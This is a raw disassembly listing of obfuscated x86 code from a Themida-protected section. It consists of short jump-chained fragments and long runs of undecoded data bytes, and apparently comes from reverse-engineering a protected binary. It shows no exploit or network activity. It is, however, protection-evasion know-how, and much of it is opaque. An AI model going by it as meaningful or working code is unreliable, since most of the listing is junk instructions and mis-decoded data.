		dd 892BF92Dh, 0AB83E9DDh, 8B66FFFFh, 0E4E92404h, 0FFFFFFA4h
		dd 7569E930h, 0E981FFFFh, 18775B81h, 0C181F901h, 18775B81h
		dd 0FAE981h, 3C8B7FE2h,	4C48124h, 68000000h, 3663h, 0FF240C89h
		dd 59042474h, 5C24048Fh, 0FFF6FCE9h, 0E3BB53FFh, 92B8521h
		dd 13685BDEh, 8900001Dh, 8952242Ch, 4C281E2h, 0E9000000h
		dd 0FFFFCFCEh, 0FF243C89h, 5F042474h, 0E924048Fh, 1E7h
; ---------------------------------------------------------------------------


loc_54EFE4:				; CODE XREF: Themida_:00547A0Dj
		add	ebx, 48521057h
		shr	ebx, 2
		add	ebx, 0F814CBF0h
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_550685
; ---------------------------------------------------------------------------


loc_54F001:				; CODE XREF: Themida_:0054BAC4j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	edi
		push	eax
		mov	eax, 57D377AAh
		jmp	loc_5482B1
; ---------------------------------------------------------------------------
		db 89h
		dd 0E589242Ch, 4C581h, 9DE90000h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F023:				; CODE XREF: Themida_:005468C5j
		shl	edx, 8
		inc	edx
		xor	edx, 7650005Dh
		sub	edx, 9E4FCA58h
		add	ebp, edx
		pop	edx
		jmp	loc_54D76A
; ---------------------------------------------------------------------------
aIIis7		db '┬щ[┬КИ7',0Dh,0
		db 0
; ---------------------------------------------------------------------------


loc_54F045:				; CODE XREF: Themida_:00548076j
		mov	edi, esp
		jmp	loc_54C784
; ---------------------------------------------------------------------------


loc_54F04C:				; CODE XREF: Themida_:005470DCj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_548DD8
; ---------------------------------------------------------------------------
		db 0B8h
		dd 0A412665h, 59EABF57h, 30E91583h, 8000001Dh, 0D58867F2h
		dd 0E924148Bh, 0FFFFF05Ch
; ---------------------------------------------------------------------------


loc_54F074:				; CODE XREF: Themida_:0054BACBj
		push	783Fh
		jmp	loc_54A3F2
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 2, 31243433h, 34332434h, 9913E924h
		db 2 dup(0FFh)
word_54F092	dw 2DADh		; DATA XREF: Themida_:0054624Co
		dd 7A707A16h, 8904EC83h, 0FDBF243Ch, 810F464Fh,	6407B5E7h
		dd 684705h, 29000000h, 815F243Ch, 961642F7h, 29F78167h
		dd 29E6E9A0h, 6E2D5FF8h, 57E7A43h, 3D8948B7h, 0EBE9D801h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F0D3:				; CODE XREF: Themida_:00546BFEj
		push	6B41h
		jmp	loc_54BEBF
; ---------------------------------------------------------------------------


loc_54F0DD:				; CODE XREF: Themida_:00548C49j
		add	esp, 4
		and	eax, esi
		jmp	loc_54D12C
; ---------------------------------------------------------------------------
		dw 0E380h
		dd 8EBDE91Dh
		db 2 dup(0FFh)
word_54F0F2	dw 8B66h		; DATA XREF: Themida_:00546418o
		dd 81522404h, 4ECh, 24248900h, 4240481h, 8B000000h, 0E9502414h
		dd 2461h
; ---------------------------------------------------------------------------


loc_54F110:				; CODE XREF: Themida_:0054EDDAj
		mov	esi, esp
		jmp	loc_54EE5A
; ---------------------------------------------------------------------------
		db 66h
		dd 0E69DE951h
		db 2 dup(0FFh)
word_54F11E	dw 8B66h		; DATA XREF: Themida_:00546340o
		dd 68552404h, 6303h, 24048F54h,	4240483h, 0FF8860E9h, 241C89FFh
		dd 0FFF74EE9h, 243489FFh, 142E68h, 93F6E900h, 0C328FFFFh
		dd 0DA885258h, 5350DAF6h, 0FFF210E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F159:				; CODE XREF: Themida_:0054CB62j
		shr	ecx, 7
		push	ebx
		push	ebp
		push	ecx
		push	eax
		mov	eax, 56041F85h
		mov	ecx, eax
		jmp	loc_54B93F
; ---------------------------------------------------------------------------


loc_54F16C:				; CODE XREF: Themida_:0054F2ADj
		push	eax
		mov	eax, 60770BFDh
		jmp	loc_55277E
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0E9526674h, 291Ah
; ---------------------------------------------------------------------------


loc_54F180:				; CODE XREF: Themida_:00550CC4j
		pop	ecx
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h
word_54F18E	dw 8B66h		; DATA XREF: Themida_:00546208o
		dd 68552404h, 4ABDh, 0E9242489h, 0FFFF89F2h, 0FF7346E9h
		dd 4EC83FFh, 0BA241489h, 4, 42E3C681h, 0D6013A4Ah, 0BD4B850h
		dd 0BEE906FFh, 83FFFF8Fh, 65E904E9h, 8BFFFFA5h,	14892424h
		dd 1CB96824h, 4890000h,	7A77E924h, 8358FFFFh, 348904ECh
		dd 0FFE95424h, 8100002Fh, 2EFF82F1h, 34815171h,	0AD404A24h
		dd 4A35584Dh, 594DAD40h, 6858C601h, 42BCh, 0FFBC71E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F20D:				; CODE XREF: Themida_:0054853Bj
		add	eax, 4
		jmp	loc_546BAA
; ---------------------------------------------------------------------------


loc_54F217:				; CODE XREF: Themida_:0054DBB0j
		xor	ebx, 511B0146h
		jmp	loc_54EDD2
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 29000000h,	240C8BCAh, 4C481h, 0BD550000h
		dd 5FED7D28h, 815DEA01h, 0AA3537EAh, 0E4C2811Fh, 29181045h
		dd 0E4EA81C2h, 81181045h, 0AA3537C2h, 0C444E91Fh, 0F681FFFFh
		dd 0B923C6F5h, 895EF531h, 38255DE8h, 2D7AE629h,	0F425D8ECh
		dd 0E958C121h, 67h, 15EF289h, 1C335AD3h, 241C3124h, 8B241C33h
		dd 0CFE92424h, 59FFFF9Dh, 0E902EC83h, 0FFFFB16Bh
; ---------------------------------------------------------------------------


loc_54F29C:				; CODE XREF: Themida_:0054E8F2j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54F16C
; ---------------------------------------------------------------------------
		dw 0F581h
aSQH6p		db 0Ah
		db ' "S)О]h6P',0
		align 10h
		dd 56241489h, 40626C68h, 0A627E96Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F2CE:				; CODE XREF: Themida_:0054CE4Dj
		pop	esp
		mov	[esp], esi
		push	ebx
		jmp	loc_54B7F0
; ---------------------------------------------------------------------------
		dd 5331B951h, 46E94EE7h, 57FFFF9Fh, 16AAB850h, 0C789D457h
		dd 0B922E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F2F2:				; CODE XREF: Themida_:0054FFA6j
		mov	edi, 3D43227h
		shl	edi, 5
		sub	edi, 640F634Fh
		push	esi
		mov	esi, 368D474Dh
		add	edi, esi
		pop	esi
		and	edi, 6FCE2191h
		sub	edi, 4A96FC89h
		or	ebp, edi
		pop	edi
		jmp	loc_55040D
; ---------------------------------------------------------------------------
		db 0E9h, 0C9h, 71h
		dd 5258FFFFh, 0FF7F41E9h, 0EFC05AFFh, 2E7C006h,	6866D7F6h
		dd 7CE9098Ch, 5EFFFFD4h, 8B24048Fh, 4812424h, 705F8724h
		dd 242C8138h, 122E6DDDh, 0FFB3E5E9h, 0C5815BFFh, 2, 81E38953h
		dd 4C3h, 4EB8300h, 0FFF467E9h, 0E0E680FFh, 803FF680h, 0F30061C6h
		db 5Ah,	28h, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		jmp	loc_54A7C7
; ---------------------------------------------------------------------------


loc_54F394:				; CODE XREF: Themida_:00548D76j
		mov	ebp, eax
		jmp	loc_54D96A
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0F9E903E6h, 5AFFFFA2h, 4C481h, 0C1810000h, 2, 5C240C87h
		dd 66E9F766h, 0E9339B68h, 0FFFFD6E0h, 54240489h, 8324048Bh
		dd 0BE5604C4h, 4, 0E95EF001h, 378h, 4DE95052h, 1FFFF88h
		dd 0CBE959CEh, 68FFFFC8h, 74C65595h, 4EFC15Fh, 0B3E9EFD1h
		dd 1FFFFD1h, 685A5DE8h,	1358h, 51241C89h, 0F2432CB9h, 0C1D9F739h
		dd 856807E1h, 8900002Ah, 0A1BA2414h, 8134B03Fh,	96599AE2h
		dd 3407E91Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F426:				; CODE XREF: Themida_:005476C4j
		xor	al, 30h
		push	19EDh
		mov	[esp], ebx
		mov	bh, al
		jmp	loc_54F5B4
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF70AFh, 24048F5Ch, 6624248Bh, 2404B30Fh,	709DE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F44E:				; CODE XREF: Themida_:005485AFj
		pop	eax
		sub	ecx, ebp
		pop	ebp
		push	ebx
		jmp	loc_5483A0
; ---------------------------------------------------------------------------


loc_54F458:				; CODE XREF: Themida_:005484D9j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_54A69F
; ---------------------------------------------------------------------------
		dd 710CC581h, 15B3076h,	242C8BE8h, 0F704C483h, 3BC235D8h
		dd 0C1814659h, 539841E8h, 0E981C101h, 539841E8h, 0A9E95158h
		dd 5CFFFFAAh, 240C8B66h, 25D6E9h, 85B75300h, 88515066h
		dd 0E9CC88F9h, 0FFFFF3E9h
dword_54F4B8	dd 2CE9028Fh		; DATA XREF: Themida_:00546270o
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F4BF:				; CODE XREF: Themida_:0054D773j
		xor	ebp, [esp]
		mov	esp, [esp]
		and	[edi+1Ch], ebp
		pop	ebp
		jmp	loc_54CD6F
; ---------------------------------------------------------------------------
		dw 3368h
		dd 8900007Eh, 35B9240Ch, 81549F36h, 2675EDC1h, 71C18173h
		dd 81665D5Ch, 74FC7EC1h, 59CB09F8h, 0B3F3814Bh,	0C11BED0Bh
		dd 0EB8103EBh, 0FC940C85h, 17E7C281h, 0DA010825h, 17E7EA81h
		dd 15B0825h, 54B850C2h,	0E9130E7Ah, 0FFFF95ACh,	0E7C0CFFEh
		dd 3EFC005h, 0E9E1EF80h, 0FFFFCD92h, 0E924348Bh, 1535h
		dd 0DFE95958h, 89FFFFF1h, 0E9575AD5h, 0FFFFFEA3h
; ---------------------------------------------------------------------------


loc_54F544:				; CODE XREF: Themida_:0054B3B2j
		inc	edi
		or	edi, 4E0D3A95h
		xor	edi, 8D1DE30Dh
		jmp	loc_551FC0
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4C4h, 0B2BFE900h, 5954FFFFh,	67E168h, 24148900h, 5B4AFA68h
		dd 0E2815A72h, 23DE1B89h, 319CEA81h, 0F2817C4Dh, 0A60CD8E8h
		dd 0FF737AE9h, 71CDBDFFh, 2EE94F9Ah, 5EFFFFCAh,	350BFF05h
		dd 5D122D03h, 0D8014BF8h, 0BB7B951h, 0E9C13E3Eh, 14F18103h
		dd 0E905F027h, 0FFFF6FCFh
; ---------------------------------------------------------------------------


loc_54F5B4:				; CODE XREF: Themida_:0054F432j
		mov	dh, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	eax
		sub	bl, dh
		jmp	loc_54CA4A
; ---------------------------------------------------------------------------
		db 2Ch,	0A1h, 81h
		dd 2ECh, 0C896600h, 0E94EB124h,	0FFFF790Ch
; ---------------------------------------------------------------------------


loc_54F5D8:				; CODE XREF: Themida_:0054ABEFj
		pop	esi
		push	edx
		push	70DDh
		mov	[esp], esi
		push	3DB31F7Bh
		pop	esi
		shr	esi, 2
		and	esi, 5A27443Dh
		add	esi, 0F5DBBBE4h
		mov	edx, esi
		mov	esi, [esp]
		jmp	loc_55279A
; ---------------------------------------------------------------------------
		db 66h,	57h, 66h
		dd 76A9E955h, 565FFFFFh, 4002BABEh, 0FFE68120h,	462BCD33h
		dd 0C681DEF7h, 527020Dh, 0C625C681h, 0F0010F75h, 0DDCAE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F62E:				; CODE XREF: Themida_:005514ACj
		push	558Bh
		mov	[esp], edi
		push	ecx
		push	712160A6h
		pop	ecx
		not	ecx
		push	ebx
		jmp	loc_54C28E
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 8304C483h, 1C8904ECh, 57E38924h, 0F2634DBFh,	7BCF8138h
		dd 81369D22h, 8D7DC7EFh, 6E7C140h, 0FFF547E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F66D:				; CODE XREF: Themida_:0054F7F2j
		xor	ebx, edi
		pop	edi
		jmp	loc_54831C
; ---------------------------------------------------------------------------
aBNc		db '│г+N√',0
		db 52h
		dd 2624E968h, 0D7215A3Fh, 81BD555Ah, 8126A77Ch,	0A40198E5h
		dd 0E9D5F712h, 0FFFFDA38h, 3945BB53h, 0E3C157F7h, 0B9EB8107h
		dd 0F75EE474h, 6EBC1DBh, 5303B850h, 35484B78h, 42F91779h
		dd 8158C331h, 0C8E353C3h, 0E9D9294Fh, 0FFFFA632h, 41E9C329h
		dd 52000003h, 1722E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F6D5:				; CODE XREF: Themida_:0054DA98j
		mov	ecx, esp
		jmp	loc_547364
; ---------------------------------------------------------------------------
		dd 8007EBC0h, 71E9D8F3h, 28FFFFF1h, 4FEE9C2h, 0C4830000h
		dd 36DE904h, 0C8B0000h,	4C48324h, 0E930FF66h, 0FFFF6DE7h
		dd 0C1DFF75Dh, 0C78104E7h, 42176A34h, 2CE6C681h, 0FE016B05h
		dd 2CE6EE81h, 335F6B05h, 34312434h, 0DBD8E924h,	0E089FFFFh
		dd 0BD33E953h, 0D3F7FFFFh, 14B9E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F739:				; CODE XREF: Themida_:00550D92j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54FA52
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0DEE9243Ch, 53FFFF73h, 0FF89DEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F761:				; CODE XREF: Themida_:0054B08Fj
		xchg	eax, [esp]
		pop	esp
		push	edi
		push	20000h
		jmp	loc_548AF1
; ---------------------------------------------------------------------------
dword_54F770	dd 4EC81ADh, 0E9000000h, 0FFFFE793h, 7273C781h,	0FDE93856h
					; DATA XREF: Themida_:005463A4o
		dd 1FFFFE6h, 241C8BDFh,	4C481h,	3C870000h, 24248B24h, 2E0C68h
		dd 241C8900h, 52D48850h, 0D788E288h, 3C88585Ah,	241C8B87h
		dd 0FF73BDE9h, 665366FFh, 66FFFFBBh, 0EE9DE01h,	5B00002Fh
		dd 815AD301h, 773B86C3h, 81C30157h, 773B86EBh, 68525757h
		dd 3DADh, 0BF243C89h, 7B7967DAh, 0FFE2B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F7E9:				; CODE XREF: Themida_:0054C87Ej
		add	ebx, 0BC1920EEh
		mov	edi, ebx
		pop	ebx
		jmp	loc_54F66D
; ---------------------------------------------------------------------------
		db 83h
		dd 26E901C0h, 89FFFF99h, 468242Ch, 0FF000000h, 0DCE92434h
		dd 68FFFFC0h, 0
		dd 5F243C29h, 30FDE781h, 0C781187Eh, 0D42AFE33h, 555FFE29h
		dd 0EDE9F589h, 8BFFFFC4h, 88E92424h
		db 1Bh,	2 dup(0)
byte_54F837	db 30h			; DATA XREF: Themida_:00546324o
		dd 0C32240Ch, 9615E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F842:				; CODE XREF: Themida_:00547D6Aj
		add	esi, edx
		sub	esi, 3DF16A68h
		pop	edx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5464EB
; ---------------------------------------------------------------------------


loc_54F854:				; CODE XREF: Themida_:0054D911j
		xor	eax, 0B63BE7BEh
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		jmp	loc_54BBF7
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 68582434h, 0B36h, 89240489h, 0E387E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54B6F1
; ---------------------------------------------------------------------------
aVFGfsf		db 'V╬F,ёFИ■!',0
		dw 5000h
		dd 5D4462B8h, 4466356Dh, 0C7016D5Dh, 0FFB354E9h, 0F1C381FFh
		dd 5E06D969h, 4602C381h, 0F2E96048h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F8BB:				; CODE XREF: Themida_:0054E25Ej
		xor	eax, [esp]
		jmp	loc_5499E9
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5C241C87h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF6C13h
		dd 0F78030B7h, 5BFE3069h, 0C4040E04h, 15D0E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F8E9:				; CODE XREF: Themida_:00551822j
		sub	[edi+24h], ebx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		xor	edx, edx
		sub	esp, 4
		jmp	loc_549041
; ---------------------------------------------------------------------------
aIH@		db '┴$$hю@',0
		dw 8900h
		dd 24E9243Ch, 1FFFFABh,	5E8C68D8h, 14890000h, 0BCE95724h
		dd 68FFFFF4h, 5EB4h, 0E9243C89h, 0FFFFB07Dh, 1DE9CF01h
		dd 50FFFF82h, 0B553E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F93E:				; CODE XREF: Themida_:00552120j
		push	esp
		pop	eax
		jmp	loc_552082
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 96h
		dd 81502757h, 6E0C2AEEh, 0E9DE0174h, 0FFFF9161h
; ---------------------------------------------------------------------------


loc_54F958:				; CODE XREF: Themida_:0054C4DDj
		mov	[esp], ebp
		xchg	edx, [esp]
		push	edx
		jmp	loc_549A16
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 66D03000h, 0E924148Bh, 0FFFFA5A5h
; ---------------------------------------------------------------------------


loc_54F978:				; CODE XREF: Themida_:0054838Aj
		mov	ebp, 0ABA5551h
		not	ebp
		and	ebp, 7FC43AF8h
		jmp	loc_54AE6D
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 81000000h,	2C6h, 0AC9BE900h
		db 2 dup(0FFh)
aM0Rhag		db '╛0ьRh²G',0          ; DATA XREF: Themida_:00546490o
		dw 8900h
		dd 3B5240Ch, 0FFDCA7E9h, 5B5453FFh, 4C381h, 0C3810000h
		dd 2, 8B241C87h, 0E5802424h, 7E5C0F5h, 5004E5C0h, 0C52861B0h
		dd 50458h, 0FF052CE8h, 84E92434h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F9E3:				; CODE XREF: Themida_:0054B084j
		xor	esi, ebx
		jmp	loc_54DDA4
; ---------------------------------------------------------------------------
		dw 0CABAh
		dd 0E924E912h, 0FFFFFB47h
; ---------------------------------------------------------------------------


loc_54F9F4:				; CODE XREF: Themida_:0054CCDEj
		pop	ebx
		push	edx
		mov	edx, 7B3AB7D4h
		sub	ebx, 224C0087h
		sub	ebx, edx
		jmp	loc_546645
; ---------------------------------------------------------------------------


loc_54FA08:				; CODE XREF: Themida_:00548C90j
		mov	[esp], ebx
		jmp	loc_549C20
; ---------------------------------------------------------------------------
		dd 6F8FC381h, 76E90DA9h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FA1B:				; CODE XREF: Themida_:005523F0j
		mov	esi, 7A194D54h
		add	esi, 0E70D8B2Ah
		xor	edx, esi
		jmp	loc_551C77
; ---------------------------------------------------------------------------
		db 80h,	0F2h, 9Ch
		dd 81E38953h, 4C3h, 4EB8300h, 9A0E9h, 0C4835D00h, 2BD5504h
		dd 29000000h, 0FE71E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FA52:				; CODE XREF: Themida_:0054F74Bj
		pop	esp
		jmp	loc_5464EB
; ---------------------------------------------------------------------------
		dd 4C481h, 0FDE90000h, 8FFFFFEFh, 248B2404h, 58545024h
		dd 405h, 72D86800h, 2C890000h, 2BD24h, 0F92D0000h, 0E9742D24h
		dd 0FFFF7DCFh, 4C281h, 14870000h, 54565C24h, 2CF9685Eh
		dd 14890000h, 4BA24h, 0D6010000h, 4C6815Ah, 0E9000000h
		dd 0FFFF99E7h, 8107E6C1h, 0C41B30C6h, 0F6E68144h, 81326C42h
		dd 690EB7F6h, 52EA817Ch, 29575570h, 52C281F2h, 5E575570h
		dd 2E9BC281h, 0C4E90039h, 50FFFFC1h, 405E089h, 83000000h
		dd 48704E8h, 2C895C24h,	2474FF24h, 2434FF04h, 0FFA65DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FAFD:				; CODE XREF: Themida_:00552442j
		pop	edx
		sub	ebp, eax
		push	eax
		mov	eax, 43A518EEh
		shr	eax, 5
		jmp	loc_550C83
; ---------------------------------------------------------------------------
		dw 5642h
		dd 46601DBEh, 9FCE8157h, 8105DB33h, 0E739DAEEh,	0CE814613h
		dd 119227CCh, 789FF681h, 0BBE95BC5h, 83FFFFC7h,	0C8904ECh
		dd 7871B924h, 0E9C11FD2h, 0BBF7E905h, 895DFFFFh, 24148BD5h
		dd 4C481h, 6F090000h, 2434FF1Ch, 0FF7A73E9h, 55854FFh
		dd 4, 4BE56h, 0BD2D0000h, 1394801h, 1BD05F0h, 0B1E93948h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FB7B:				; CODE XREF: Themida_:0054B13Aj
		neg	edi
		xor	edi, 2D2A60BAh
		neg	edi
		add	edi, 1D7208BDh
		mov	esi, edi
		pop	edi
		not	esi
		push	ebx
		mov	ebx, 7B3521DFh
		jmp	loc_546933
; ---------------------------------------------------------------------------


loc_54FB9B:				; CODE XREF: Themida_:00547539j
		jz	loc_54867F
		push	dword ptr [edi+28h]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_550233
; ---------------------------------------------------------------------------
		db 57h,	52h, 0BAh
		dd 4EFC112Fh, 0E95AD789h, 0FFFFAD34h
; ---------------------------------------------------------------------------


loc_54FBC4:				; CODE XREF: Themida_:005477C7j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_54A8AE
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1Ch
		add	ebx, edi
		push	edx
		jmp	loc_551385
; ---------------------------------------------------------------------------
		dd 80C20058h, 0E9587FC2h, 0FFFF8BC8h, 3BAD68h, 241C8900h
		dd 0C381E389h, 4, 8704EB83h, 248B241Ch,	240C8924h, 57E913B1h
		dd 5CFFFFBFh, 367ABA52h, 0CA815709h, 28C5067Fh,	3D91CA81h
		dd 56505478h, 931066BEh, 5EF08959h, 8158C201h, 905067F2h
		dd 5AD701D9h, 5C243C87h, 24048B66h, 3A5F68h, 243C8900h
		dd 4EC81h, 0DE680000h, 54000079h, 0E924048Fh, 0FFFFB468h
		dd 4C48159h, 5B000000h,	65A68h,	24048900h, 0FF686EE9h
		dd 34FF54FFh, 2434FF24h, 4C4815Bh, 0E9000000h, 11EEh
; ---------------------------------------------------------------------------


loc_54FC90:				; CODE XREF: Themida_:005488DAj
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_5512AB
; ---------------------------------------------------------------------------


loc_54FCA3:				; CODE XREF: Themida_:0054D6AFj
		pop	esi
		jmp	loc_55165F
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0DEh
		dd 0E950B103h, 0FFFF742Dh, 0E388F488h, 0EB805A58h, 8BD82081h
		dd 8953241Ch, 2600E9E3h, 0E1C10000h, 0BAE98104h, 0E928B12Eh
		dd 0FFFFF513h
aMhtl		db '╛h▓L',0             ; DATA XREF: Themida_:00546424o
		align 2
		dw 1C89h
		dd 99B324h, 1F5FE9D8h, 5B660000h, 8608EAC0h, 2224E9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FCF6:				; CODE XREF: Themida_:0054A8A9j
		mov	[edi+20h], edx
		jmp	loc_54ABEE
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 1000000h, 0E904245Ch, 0FCCh,	56241C8Bh, 0C681E689h
		dd 4, 1DFE9h
		db 0
byte_54FD1D	db 66h,	87h, 4		; DATA XREF: Themida_:005463A8o
		dd 0C5686624h, 4896644h, 3C876624h, 0F8CFE924h,	433FFFFh
		dd 0CDE95C24h, 0B5000019h, 8EDC0E0h, 26B45066h,	5866E500h
		dd 80C4B353h, 0CB80DAEBh, 0F394E993h, 835EFFFFh, 1C3304C3h
		dd 241C3124h, 8B241C33h, 0ADE92424h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54FD6B:				; CODE XREF: Themida_:00548E02j
		add	esp, 4
		push	edi
		mov	edi, 53DD5149h
		shl	edi, 5
		jmp	loc_54BB23
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 8BDE8800h, 0C481241Ch, 4, 51F78853h
		dd 88FE8852h, 0E9505AF1h, 0FFFF81A6h
; ---------------------------------------------------------------------------


loc_54FDA0:				; CODE XREF: Themida_:005527D2j
		sub	esp, 4
		mov	[esp], edx
		xchg	ebp, [esp]
		xchg	esi, ebp
		xchg	ebx, esi
		jmp	loc_550947
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 33344238h, 0FF8937E9h, 436E05FFh, 50537E7Ah,	1D1FE9h
		dd 0E7895700h, 11E5E9h,	59C80100h, 0BFFBD55h, 0E8290335h
		dd 341D055Dh, 8AE92BF3h, 0BB000000h, 4056290Eh,	292AEB81h
		dd 31E90D0Eh, 68FFFFB1h, 1F6h, 0FFA472E9h, 885150FFh, 59E888F5h
		dd 5A58C388h, 8124048Bh, 4C4h, 0DD885100h, 1876C88h, 0CFE9h
		dd 86BF5700h, 0F70CC614h, 31E781D7h, 0F74E2D6Ch, 0B7AE9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FE36:				; CODE XREF: Themida_:005501A6j
		pop	ebx
		push	edi
		jmp	loc_5468DD
; ---------------------------------------------------------------------------


loc_54FE3D:				; CODE XREF: Themida_:005518D9j
		push	ebp
		mov	ebp, esi
		jmp	loc_54A8A6
; ---------------------------------------------------------------------------
byte_54FE45	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005463ECo
aYsj		db 'YИJ',8,0
		align 2
		dw 4BBh
		dd 1000000h, 0A8D7E9DAh, 0E981FFFFh, 11EBEFF0h,	0C8BCE01h
		dd 4C48124h, 52000000h,	0FF9441E9h, 25662DFFh, 0A86823F8h
		dd 89000008h, 0E950240Ch, 2571h
; ---------------------------------------------------------------------------


loc_54FE84:				; CODE XREF: Themida_:00551641j
		mov	ecx, 4C2C0FEEh
		or	ebp, ecx
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5495EF
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 8D69E95Bh, 0DEF6FFFFh, 0EEC0C6FEh, 18F68003h, 0F0284004h
		dd 305A402Ch, 87E953C3h, 89FFFFECh, 0BFB951E6h,	81554E44h
		dd 0EE3BDFE9h, 0B7E94148h, 81FFFFBBh, 4ECh, 241C8900h
		dd 0C25746BBh, 0F7EF8160h, 29352348h, 0F7C781DFh, 0E9352348h
		dd 0FFFF7201h, 241C8B59h, 0E904C483h, 0FFFF65EFh, 4BF57h
		dd 0FE010000h, 0C9B4E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FF0A:				; CODE XREF: Themida_:00546C9Dj
		pop	ebx
		shr	eax, 3
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 297D5FA3h
		jmp	loc_5469A3
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0B9E95624h, 5BFFFF79h, 529ABA52h, 0F2812804h, 0BDE34F0h
		dd 0BBE9h, 3E5C000h, 80ADC580h,	88E95EF5h, 5FFFFE5h, 50E27FAFh
		dd 2404875Dh, 0CA88E95Ch
		db 2 dup(0FFh)
word_54FF56	dw 48Bh			; DATA XREF: Themida_:0054640Co
		dd 59545124h, 16E4BA52h, 0C2835DBFh, 0D8CA8101h, 5342940Ah
		dd 59DF68h, 243C8900h, 0EC030BBFh, 5FFB897Fh, 0BF57h, 0DF290000h
		dd 0AFE9FB87h, 80FFFF78h, 0C28001EAh, 6DEEE967h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FF96:				; CODE XREF: Themida_:0054B7C3j
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 46A82A26h
		push	edi
		jmp	loc_54F2F2
; ---------------------------------------------------------------------------


loc_54FFAB:				; CODE XREF: Themida_:00546C68j
		xor	eax, ebx
		push	ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	5C92h
		mov	[esp], eax
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54C55C
; ---------------------------------------------------------------------------
		dw 3489h
